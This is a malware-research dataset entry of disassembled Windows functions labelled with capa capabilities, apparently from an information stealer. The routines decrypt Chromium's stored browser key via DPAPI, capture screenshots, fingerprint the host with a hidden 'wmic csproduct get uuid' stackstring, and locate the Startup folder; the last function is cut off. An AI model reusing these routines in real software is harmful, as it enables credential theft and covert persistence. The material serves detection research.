joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bf44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bf8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bf8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bf8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bf8e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bf8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bf90
xor al, al
add rsp, 0x28
ret

Function at 0x14000f6ec
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000f57f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f57f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f57f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f57f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f57f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f57f
cmp dword [rcx + 0xf8], 0
je 0x14000f57f
mov ecx, ebx
call fcn.14000f620
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000f410
cmp dword [rbp + 0x20], 0
je 0x14000f5cc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f5d4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f518
Function at 0x14001ec20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001ec48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001ec48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140007180
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xe8
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea r8, [rsp + 0x80]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov dword [rsp + 0x70], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xb8]
call fcn.140006c50
xor r8d, r8d
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x88]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rsp + 0x58], rax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x50], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x54], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [rsp + 0x60], rax
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x54]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.GDI32.dll_BitBlt]
mov edx, 0x18
lea rcx, [rsp + 0x90]
call fcn.140004080
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x90]
call fcn.140006ef0
nop
lea rdx, [rsp + 0xa8]
lea rcx, str.image_png
call fcn.140007060
mov rcx, qword [rsp + 0xf0]
call fcn.140014820
xor r9d, r9d
lea r8, [rsp + 0xa8]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140006e30
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rdx, qword [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
nop
lea rcx, [rsp + 0x90]
call fcn.140007040
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
nop
mov rcx, qword [rsp + 0xf0]
call fcn.140014cc0
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.14015c750
add rsp, 0xe8
ret
Function at 0x14000b430
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2c8
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0x60], 0x40
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
test rax, rax
jl 0x14000b477
cvtsi2sd xmm0, rax
jmp 0x14000b490
mov rcx, rax
shr rcx, 1
and rax, 1
or rcx, rax
cvtsi2sd xmm1, rcx
addsd xmm1, xmm1
movaps xmm0, xmm1
divsd xmm0, qword [0x1401bd1f0]
movsd qword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x2d0]
movsd xmm0, qword [rsp + 0x30]
movsd qword [rax], xmm0
lea rdx, [rsp + 0xa0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x14000b584
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
test eax, eax
je 0x14000b584
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 3
jne 0x14000b566
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x14000b566
mov rax, qword [rsp + 0x38]
test rax, rax
jl 0x14000b52d
cvtsi2sd xmm0, rax
jmp 0x14000b546
mov rcx, rax
shr rcx, 1
and rax, 1
or rcx, rax
cvtsi2sd xmm1, rcx
addsd xmm1, xmm1
movaps xmm0, xmm1
divsd xmm0, qword [0x1401bd1f0]
movsd qword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x2d8]
call fcn.14000b5a0
mov rcx, qword [rsp + 0x20]
call fcn.140173938
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax*2 + 2]
mov qword [rsp + 0x20], rax
jmp 0x14000b4d8
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.14015c750
add rsp, 0x2c8
ret
Function at 0x14000c6b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x128
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0xd8]
call fcn.140015b60
nop
mov byte [rsp + 0xf8], 0x77
mov byte [rsp + 0xf9], 0x6d
mov byte [rsp + 0xfa], 0x69
mov byte [rsp + 0xfb], 0x63
mov byte [rsp + 0xfc], 0x20
mov byte [rsp + 0xfd], 0x63
mov byte [rsp + 0xfe], 0x73
mov byte [rsp + 0xff], 0x70
mov byte [rsp + 0x100], 0x72
mov byte [rsp + 0x101], 0x6f
mov byte [rsp + 0x102], 0x64
mov byte [rsp + 0x103], 0x75
mov byte [rsp + 0x104], 0x63
mov byte [rsp + 0x105], 0x74
mov byte [rsp + 0x106], 0x20
mov byte [rsp + 0x107], 0x67
mov byte [rsp + 0x108], 0x65
mov byte [rsp + 0x109], 0x74
mov byte [rsp + 0x10a], 0x20
mov byte [rsp + 0x10b], 0x75
mov byte [rsp + 0x10c], 0x75
mov byte [rsp + 0x10d], 0x69
mov byte [rsp + 0x10e], 0x64
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x98]
call fcn.14000b6f0
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xd8]
call fcn.1400158a0
lea rcx, [rsp + 0x98]
call fcn.1400157a0
lea rcx, [rsp + 0x20]
call fcn.140001eb0
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xd8]
call fcn.1400154c0
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xd8]
call fcn.140015530
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dl, 0xa
lea rcx, [rsp + 0xd8]
call fcn.1400151d0
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x38]
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
call fcn.140014440
mov qword [rsp + 0x48], rax
mov r8d, 1
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
call fcn.140014440
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0xb8]
call fcn.1400223d0
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xd8]
call fcn.1400158a0
lea rcx, [rsp + 0xb8]
call fcn.1400157a0
mov r8, 0xffffffffffffffff
lea rdx, str.__n_r_t
lea rcx, [rsp + 0xd8]
call fcn.140015070
inc rax
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.1400155e0
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0x138]
call fcn.140015900
mov eax, dword [rsp + 0x24]
or eax, 1
mov dword [rsp + 0x24], eax
lea rcx, [rsp + 0xd8]
call fcn.1400157a0
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.14015c750
add rsp, 0x128
ret
Function at 0x14000dac0
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x40], 0
mov edx, 0x110
lea rcx, [rsp + 0x160]
call fcn.140004080
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x160]
call fcn.140013e00
nop
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x48], rax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call fcn.140011910
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x110]
call fcn.140022660
nop
lea rdx, str.os_crypt
lea rcx, [rsp + 0x110]
call fcn.1400227e0
mov qword [rsp + 0x58], rax
lea rdx, str.encrypted_key
mov rcx, qword [rsp + 0x58]
call fcn.1400227e0
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call fcn.140022820
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x120]
call fcn.140007450
nop
lea rcx, [rsp + 0x70]
call fcn.1400157a0
mov r9, 0xffffffffffffffff
mov r8d, 5
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x120]
call fcn.140015000
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x120]
call fcn.1400158a0
lea rcx, [rsp + 0x90]
call fcn.1400157a0
lea rcx, [rsp + 0x120]
call fcn.140014810
mov dword [rsp + 0xf0], eax
lea rcx, [rsp + 0x120]
call fcn.140015470
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf0]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov eax, dword [rsp + 0x100]
mov r8d, eax
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x140]
call fcn.140015ac0
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x298]
call fcn.140015900
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x140]
call fcn.1400157a0
nop
lea rcx, [rsp + 0x120]
call fcn.1400157a0
nop
lea rcx, [rsp + 0x110]
call fcn.140011960
nop
lea rcx, [rsp + 0x160]
call fcn.1400073a0
nop
mov rcx, qword [rsp + 0x2a0]
call fcn.1400157a0
mov rax, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14015c750
add rsp, 0x288
ret
Function at 0x14000f400
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x101e8
call fcn.14015d0b0
sub rsp, rax
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0x101d0], rax
mov dword [rsp + 0x188], 0x7fff
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x14000f519
mov eax, 2
imul rax, rax, 0
lea rax, [rsp + rax + 0x1d0]
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.140014dd0
nop
lea rcx, [rsp + 0x20]
call fcn.140001eb0
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x190]
call fcn.1400149d0
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x190]
call fcn.140014a40
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0xc8]
call fcn.140022d90
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x50]
lea rcx, [0x1401d9180]
call fcn.1400158a0
lea rcx, [rsp + 0xc8]
call fcn.1400157a0
nop
lea rcx, [rsp + 0x190]
call fcn.140014cc0
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x14000f609
mov eax, 2
imul rax, rax, 0
lea rax, [rsp + rax + 0x1d0]
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140014dd0
nop
lea rcx, [rsp + 0x21]
call fcn.140001eb0
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x1b0]
call fcn.1400149d0
mov rax, qword [rax]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x1b0]
call fcn.140014a40
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xe8]
call fcn.140022d90
mov qword [rsp + 0x80], rax
mov rdx, qword [rsp + 0x80]
lea rcx, [0x1401d9160]
call fcn.1400158a0
lea rcx, [rsp + 0xe8]
call fcn.1400157a0
nop
lea rcx, [rsp + 0x1b0]
call fcn.140014cc0
lea rdx, str.appdata
lea rcx, [rsp + 0x108]
call fcn.14000b130
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x88]
lea rcx, [0x1401d91c0]
call fcn.1400158a0
lea rcx, [rsp + 0x108]
call fcn.1400157a0
lea rdx, str.localappdata
lea rcx, [rsp + 0x128]
call fcn.14000b130
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
lea rcx, [0x1401d9100]
call fcn.1400158a0
lea rcx, [rsp + 0x128]
call fcn.1400157a0
lea r8, str.MicrosoftWindowsStart_MenuProgramsStartup_
lea rdx, [0x1401d91c0]
lea rcx, [rsp + 0x148]
call fcn.140021080
mov qword [rsp + 0x98], rax
mov rdx, qword [rsp + 0x98]
lea rcx, [0x1401d91f0]
call fcn.1400158a0
lea rcx, [rsp + 0x148]
call fcn.1400157a0
mov edx, 0x3e8
lea rcx, [rsp + 0x168]
call fcn.14000b180
mov qword [rsp + 0xa0], rax
mov rdx, qword [rsp + 0xa0]
lea rcx, [0x1401d91a0]
call fcn.1400158a0
lea rcx, [rsp + 0x168]
call fcn.1400157a0
mov rax, qword [rsp + 0x101f0]
mov rcx, qword [rsp + 0x101d0]
xor rcx, rsp
call fcn.14015c750
add rsp, 0x101e8
ret
Function at 0x1400108b0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140018630
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x140012be0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x140012c14
xor eax, eax
jmp 0x140012e0a
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x140012c45
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.1400139a0
jmp 0x140012e0a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call fcn.140019540
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140012cf3
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140012e20
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call fcn.140019760
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.14001bb30
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call fcn.1400196c0
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x140012dfa
mov rcx, qword [rsp + 0x80]
call fcn.140018e30
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x140012da8
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.140173f0c
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140012da3
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140012e0a
jmp 0x140012d1f
cmp qword [rsp + 0x50], 0
jbe 0x140012dfa
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.140173f0c
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14015c750
add rsp, 0x78
ret
Function at 0x140013460
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
call fcn.140015d30
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.14001ba70
movzx eax, al
test eax, eax
je 0x1400134b6
lea rcx, [rsp + 0xe8]
call fcn.14001ba20
jmp 0x14001372a
mov rcx, qword [rsp + 0xe0]
call fcn.140019740
test rax, rax
je 0x140013522
mov rcx, qword [rsp + 0xe0]
call fcn.140019740
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xe0]
call fcn.140019630
mov rcx, qword [rsp + 0x60]
cmp rcx, rax
jae 0x140013522
lea rcx, [rsp + 0xe8]
call fcn.140013750
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0xe0]
call fcn.140019430
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov eax, dword [rsp + 0xe8]
jmp 0x14001372a
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
jne 0x14001353e
call fcn.140015d30
jmp 0x14001372a
mov rcx, qword [rsp + 0xe0]
call fcn.140018e30
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x68], 0
jne 0x1400135b4
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax + 0x80]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xe8]
call fcn.140013750
mov byte [rsp + 0x41], al
mov rdx, qword [rsp + 0x68]
movzx ecx, byte [rsp + 0x41]
call fcn.140006b80
movzx eax, al
test eax, eax
je 0x1400135a2
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x48], eax
jmp 0x1400135ab
call fcn.140015d30
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
jmp 0x14001372a
mov qword [rsp + 0x78], 0x20
lea rcx, [rsp + 0xe8]
call fcn.140013750
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xb8]
lea rcx, [rsp + 0x91]
mov rdx, qword [rsp + 0xe0]
add rdx, 0x74
lea r8, [rsp + 0x80]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, rcx
lea r8, [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call fcn.140016db0
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x140013661
cmp dword [rsp + 0x44], 1
je 0x140013661
cmp dword [rsp + 0x44], 3
je 0x1400136e6
jmp 0x140013725
lea rax, [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x1400136b8
mov rax, qword [rsp + 0xe0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x58]
mov edx, 1
lea rcx, [rsp + 0x98]
call fcn.14017313c
cmp qword [rsp + 0x58], rax
je 0x1400136b8
call fcn.140015d30
jmp 0x14001372a
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x71], 1
lea rax, [rsp + 0x90]
cmp qword [rsp + 0x88], rax
je 0x1400136df
mov eax, dword [rsp + 0xe8]
jmp 0x14001372a
call fcn.140015d30
jmp 0x14001372a
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rax + 0x80]
movzx ecx, byte [rsp + 0x90]
call fcn.140006b80
movzx eax, al
test eax, eax
je 0x140013716
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x4c], eax
jmp 0x14001371f
call fcn.140015d30
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
jmp 0x14001372a
call fcn.140015d30
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14015c750
add rsp, 0xd8
ret
Function at 0x140018ee0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x1401cf0e8]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x140018f1d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140018f24
mov al, 1
jmp 0x14001907c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.140015d30
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.140015d30
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.14001ba70
movzx eax, al
test eax, eax
je 0x140018f7b
xor al, al
jmp 0x14001907c
mov qword [rsp + 0x60], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call fcn.14001c110
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140018fea
cmp dword [rsp + 0x30], 1
je 0x140018ff6
cmp dword [rsp + 0x30], 3
je 0x14001906a
jmp 0x14001907a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140019041
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.14017313c
cmp qword [rsp + 0x48], rax
je 0x140019041
xor al, al
jmp 0x14001907c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001905b
mov dword [rsp + 0x34], 1
jmp 0x140019063
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14001907c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001907c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14015c750
add rsp, 0xa8
ret
Function at 0x140036310
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140036332
mov rcx, qword [rsp + 0x40]
call fcn.140036a30
jmp 0x140036349
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140036349
mov rcx, qword [rsp + 0x40]
call fcn.140036ae0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
